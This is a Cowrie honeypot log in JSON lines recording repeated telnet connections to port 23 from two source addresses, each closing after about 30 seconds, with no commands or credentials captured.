{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36666,"dst_ip":"10.17.0.5","dst_port":23,"session":"e679323da0b0","protocol":"telnet","message":"New connection: 208.115.219.122:36666 (10.17.0.5:23) [session: e679323da0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.681727Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36682,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d82ac2a053","protocol":"telnet","message":"New connection: 208.115.219.122:36682 (10.17.0.5:23) [session: 89d82ac2a053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.746183Z"}
{"eventid":"cowrie.session.closed","duration":30.704455852508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.022408Z","src_ip":"208.115.219.122","session":"919c65b189b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36764,"dst_ip":"10.17.0.5","dst_port":23,"session":"083f607410d2","protocol":"telnet","message":"New connection: 208.115.219.122:36764 (10.17.0.5:23) [session: 083f607410d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.082352Z"}
{"eventid":"cowrie.session.closed","duration":30.832853078842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.093006Z","src_ip":"208.115.219.122","session":"1fa79f842c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36854,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda79e52e216","protocol":"telnet","message":"New connection: 208.115.219.122:36854 (10.17.0.5:23) [session: eda79e52e216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.195389Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"635091e85a0a","protocol":"telnet","message":"New connection: 208.115.219.122:36912 (10.17.0.5:23) [session: 635091e85a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.326462Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ede31ffd59","protocol":"telnet","message":"New connection: 208.115.219.122:36986 (10.17.0.5:23) [session: 03ede31ffd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.494284Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37002,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fe8d9448f4","protocol":"telnet","message":"New connection: 208.115.219.122:37002 (10.17.0.5:23) [session: 44fe8d9448f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.526261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37008,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ec9f362d10","protocol":"telnet","message":"New connection: 208.115.219.122:37008 (10.17.0.5:23) [session: 14ec9f362d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.729148Z"}
{"eventid":"cowrie.session.closed","duration":31.20470881462097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.849531Z","src_ip":"208.115.219.122","session":"061d02781794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37030,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30954980d42","protocol":"telnet","message":"New connection: 208.115.219.122:37030 (10.17.0.5:23) [session: e30954980d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:59.870685Z"}
{"eventid":"cowrie.session.closed","duration":30.554603815078735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.040617Z","src_ip":"208.115.219.122","session":"2d400851afde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.086472511291504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.059092Z","src_ip":"208.115.219.122","session":"fd8d34241b82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552873373031616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.115726Z","src_ip":"208.115.219.122","session":"bb26859ac6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37040,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46d5d636b00","protocol":"telnet","message":"New connection: 208.115.219.122:37040 (10.17.0.5:23) [session: c46d5d636b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.174680Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37056,"dst_ip":"10.17.0.5","dst_port":23,"session":"56dd8f169004","protocol":"telnet","message":"New connection: 208.115.219.122:37056 (10.17.0.5:23) [session: 56dd8f169004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.190728Z"}
{"eventid":"cowrie.session.closed","duration":31.021767139434814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.197369Z","src_ip":"208.115.219.122","session":"70d1825100c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389312028884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.208993Z","src_ip":"208.115.219.122","session":"3eb612e24af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1445734500885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.213506Z","src_ip":"208.115.219.122","session":"8166935aa5fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"e036de8ef879","protocol":"telnet","message":"New connection: 208.115.219.122:37060 (10.17.0.5:23) [session: e036de8ef879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.233329Z"}
{"eventid":"cowrie.session.closed","duration":30.746467351913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.263551Z","src_ip":"208.115.219.122","session":"51ddeffcdb9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37068,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c0546301e6","protocol":"telnet","message":"New connection: 208.115.219.122:37068 (10.17.0.5:23) [session: 47c0546301e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.612361Z"}
{"eventid":"cowrie.session.closed","duration":31.591596603393555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.911118Z","src_ip":"208.115.219.122","session":"46c9279d6496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dacd1766b56","protocol":"telnet","message":"New connection: 208.115.219.122:37076 (10.17.0.5:23) [session: 9dacd1766b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:00.915587Z"}
{"eventid":"cowrie.session.closed","duration":30.89111351966858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.035921Z","src_ip":"208.115.219.122","session":"dbf996c2ade2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975000858306885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.069467Z","src_ip":"208.115.219.122","session":"78f2276580cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c11af0adfa","protocol":"telnet","message":"New connection: 208.115.219.122:37086 (10.17.0.5:23) [session: 73c11af0adfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.076756Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37090,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e10ee00ddac","protocol":"telnet","message":"New connection: 208.115.219.122:37090 (10.17.0.5:23) [session: 8e10ee00ddac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.090476Z"}
{"eventid":"cowrie.session.closed","duration":30.97087001800537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.096139Z","src_ip":"208.115.219.122","session":"289101f0b5d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37106,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68f955875b1","protocol":"telnet","message":"New connection: 208.115.219.122:37106 (10.17.0.5:23) [session: a68f955875b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.147114Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37108,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f208a8ed751","protocol":"telnet","message":"New connection: 208.115.219.122:37108 (10.17.0.5:23) [session: 2f208a8ed751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.169402Z"}
{"eventid":"cowrie.session.closed","duration":30.97119379043579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.259282Z","src_ip":"208.115.219.122","session":"849548636050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2514e0281e9e","protocol":"telnet","message":"New connection: 208.115.219.122:37138 (10.17.0.5:23) [session: 2514e0281e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.350083Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37150,"dst_ip":"10.17.0.5","dst_port":23,"session":"92f17b099100","protocol":"telnet","message":"New connection: 208.115.219.122:37150 (10.17.0.5:23) [session: 92f17b099100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.360992Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37158,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e445ee84b5","protocol":"telnet","message":"New connection: 208.115.219.122:37158 (10.17.0.5:23) [session: 60e445ee84b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.427496Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48956,"dst_ip":"10.17.0.5","dst_port":23,"session":"630e33ab91f8","protocol":"telnet","message":"New connection: 208.115.200.90:48956 (10.17.0.5:23) [session: 630e33ab91f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.538418Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37166,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f0192b41ea","protocol":"telnet","message":"New connection: 208.115.219.122:37166 (10.17.0.5:23) [session: 15f0192b41ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.929392Z"}
{"eventid":"cowrie.session.closed","duration":31.743780374526978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:01.948236Z","src_ip":"208.115.219.122","session":"edcd51b80aef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600981950759888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.013075Z","src_ip":"208.115.219.122","session":"5a37c411c3a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50856637954712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.020815Z","src_ip":"208.115.219.122","session":"3f8c93f2a045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51260471343994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.077545Z","src_ip":"208.115.219.122","session":"5c3ba2a27334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90003204345703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.222236Z","src_ip":"208.115.219.122","session":"1ff9b088fb60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10659098625183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.230220Z","src_ip":"208.115.219.122","session":"4058d80eea41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37180,"dst_ip":"10.17.0.5","dst_port":23,"session":"112d3d8afe1b","protocol":"telnet","message":"New connection: 208.115.219.122:37180 (10.17.0.5:23) [session: 112d3d8afe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.236694Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37194,"dst_ip":"10.17.0.5","dst_port":23,"session":"365744cac775","protocol":"telnet","message":"New connection: 208.115.219.122:37194 (10.17.0.5:23) [session: 365744cac775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.356223Z"}
{"eventid":"cowrie.session.closed","duration":30.55723476409912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.487977Z","src_ip":"208.115.219.122","session":"dafd6e0cb12d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37210,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ac7258e035","protocol":"telnet","message":"New connection: 208.115.219.122:37210 (10.17.0.5:23) [session: 47ac7258e035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.551688Z"}
{"eventid":"cowrie.session.closed","duration":31.643578052520752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.773311Z","src_ip":"208.115.219.122","session":"1b018ff79858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37212,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0b24843b19","protocol":"telnet","message":"New connection: 208.115.219.122:37212 (10.17.0.5:23) [session: 8a0b24843b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.815259Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6bf4eff799","protocol":"telnet","message":"New connection: 208.115.200.90:48968 (10.17.0.5:23) [session: bb6bf4eff799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:02.961426Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37224,"dst_ip":"10.17.0.5","dst_port":23,"session":"896b4b8ec94b","protocol":"telnet","message":"New connection: 208.115.219.122:37224 (10.17.0.5:23) [session: 896b4b8ec94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.006014Z"}
{"eventid":"cowrie.session.closed","duration":30.519827842712402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.018110Z","src_ip":"208.115.219.122","session":"eb994a676e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530179738998413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.024287Z","src_ip":"208.115.219.122","session":"1dfc05f75068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295581102371216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.028282Z","src_ip":"208.115.219.122","session":"1de8eae26fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550631999969482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.093051Z","src_ip":"208.115.219.122","session":"b1970f5de611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.445132970809937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.098331Z","src_ip":"208.115.219.122","session":"1883ddd39f3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618947744369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.108886Z","src_ip":"208.115.219.122","session":"09449e903ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321510314941406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.140871Z","src_ip":"208.115.219.122","session":"01fcba796bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37230,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f49d0c9131d","protocol":"telnet","message":"New connection: 208.115.219.122:37230 (10.17.0.5:23) [session: 1f49d0c9131d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.159325Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37240,"dst_ip":"10.17.0.5","dst_port":23,"session":"01cc062e2d05","protocol":"telnet","message":"New connection: 208.115.219.122:37240 (10.17.0.5:23) [session: 01cc062e2d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.540372Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37248,"dst_ip":"10.17.0.5","dst_port":23,"session":"c604b2661016","protocol":"telnet","message":"New connection: 208.115.219.122:37248 (10.17.0.5:23) [session: c604b2661016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.667477Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6a3a74effb","protocol":"telnet","message":"New connection: 208.115.219.122:37252 (10.17.0.5:23) [session: 2b6a3a74effb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.728623Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37266,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be078e24463","protocol":"telnet","message":"New connection: 208.115.219.122:37266 (10.17.0.5:23) [session: 1be078e24463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:03.976340Z"}
{"eventid":"cowrie.session.closed","duration":30.400089502334595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.020576Z","src_ip":"208.115.219.122","session":"96d4be6f382f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798099994659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.029916Z","src_ip":"208.115.219.122","session":"7456e1986620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83555579185486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.045748Z","src_ip":"208.115.219.122","session":"5d652d694157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853598594665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.059403Z","src_ip":"208.115.219.122","session":"4b831e74dccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.520527839660645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.067344Z","src_ip":"208.115.219.122","session":"49f8c50eed5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37270,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c41569ff527","protocol":"telnet","message":"New connection: 208.115.219.122:37270 (10.17.0.5:23) [session: 6c41569ff527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.112251Z"}
{"eventid":"cowrie.session.closed","duration":30.671342849731445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.118412Z","src_ip":"208.115.219.122","session":"50e1407ecaf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"af24db8093f4","protocol":"telnet","message":"New connection: 208.115.219.122:37280 (10.17.0.5:23) [session: af24db8093f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.149696Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37288,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a003ae4096","protocol":"telnet","message":"New connection: 208.115.219.122:37288 (10.17.0.5:23) [session: 52a003ae4096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.196721Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37302,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf9b1601e6e","protocol":"telnet","message":"New connection: 208.115.219.122:37302 (10.17.0.5:23) [session: bcf9b1601e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.249219Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48970,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9af6a2fe9c0","protocol":"telnet","message":"New connection: 208.115.200.90:48970 (10.17.0.5:23) [session: b9af6a2fe9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.276024Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37340,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f2286a52bb","protocol":"telnet","message":"New connection: 208.115.219.122:37340 (10.17.0.5:23) [session: 99f2286a52bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.520218Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41530,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f4f2d4fe75","protocol":"telnet","message":"New connection: 208.115.200.90:41530 (10.17.0.5:23) [session: 86f4f2d4fe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.547745Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37350,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41d5e780693","protocol":"telnet","message":"New connection: 208.115.219.122:37350 (10.17.0.5:23) [session: b41d5e780693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:04.625455Z"}
{"eventid":"cowrie.session.closed","duration":30.847920179367065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.033859Z","src_ip":"208.115.219.122","session":"597350fa096a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0c04af55a4","protocol":"telnet","message":"New connection: 208.115.219.122:37478 (10.17.0.5:23) [session: ef0c04af55a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.044097Z"}
{"eventid":"cowrie.session.closed","duration":30.79238772392273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.056965Z","src_ip":"208.115.219.122","session":"5d580dbb9714","protocol":"telnet"}
